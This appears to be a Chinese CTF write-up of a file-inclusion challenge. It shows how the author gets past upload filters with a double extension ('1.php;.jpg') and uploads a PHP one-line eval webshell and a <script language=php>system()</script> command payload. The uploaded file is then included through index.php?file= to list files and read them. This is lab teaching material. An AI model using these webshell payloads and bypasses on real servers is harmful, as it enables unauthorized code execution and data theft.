首先进去之后是个

    文件包含(getshell升级版) - 图1页面什么都没有,老套路,先F12后抓包,再扫描。

    然而F12就已经出来了我想要的东西(file=这个东西之前的bugku的题也有,要会变通,但是要想到这个东西学过)

    文件包含(getshell升级版) - 图2

    藏着某些php页面,那我们进去看看

    文件包含(getshell升级版) - 图3

    又是文件上传,额。我没有菜刀喂。。难搞。懂的全部来一遍!!

    1.getshell的题目直接抓包的思路抓包

    发现修改后缀名为.php以后不成功

    文件包含(getshell升级版) - 图4

    2.对文件的后缀也做了限制,%00截断不管用

    文件包含(getshell升级版) - 图5

    3.换一种姿势上传一句话,普通一句话会被过滤

    普通一句话就会被过滤掉,这里构造<?=eval($_POST[‘shell’]);>

    文件包含(getshell升级版) - 图6

    保存文件修改后缀为1.php;.jpg,成功上传

    文件包含(getshell升级版) - 图7

    根据提示是文件包含,直接访问文件路径无效,菜刀无法连接

    包含文件进行访问时空白页面

    文件包含(getshell升级版) - 图8

    菜刀连接也是失败的

    4.那就直接构造命令执行

    <script language=php>system("ls")</script>

    同理,修改后缀名为jpg,如233.php;.jpg,上传成功

    文件包含(getshell升级版) - 图9

    5.访问图片包含路径

    http://118.89.219.210:49166/index.php?file=upload/201804141202562458.jpg

    文件包含(getshell升级版) - 图10

    或者构造命令执行:

    <script language=php>system("cat 访问的文件名.txt")</script>

    包含文件的方式直接访问.txt文件

    文件包含(getshell升级版) - 图11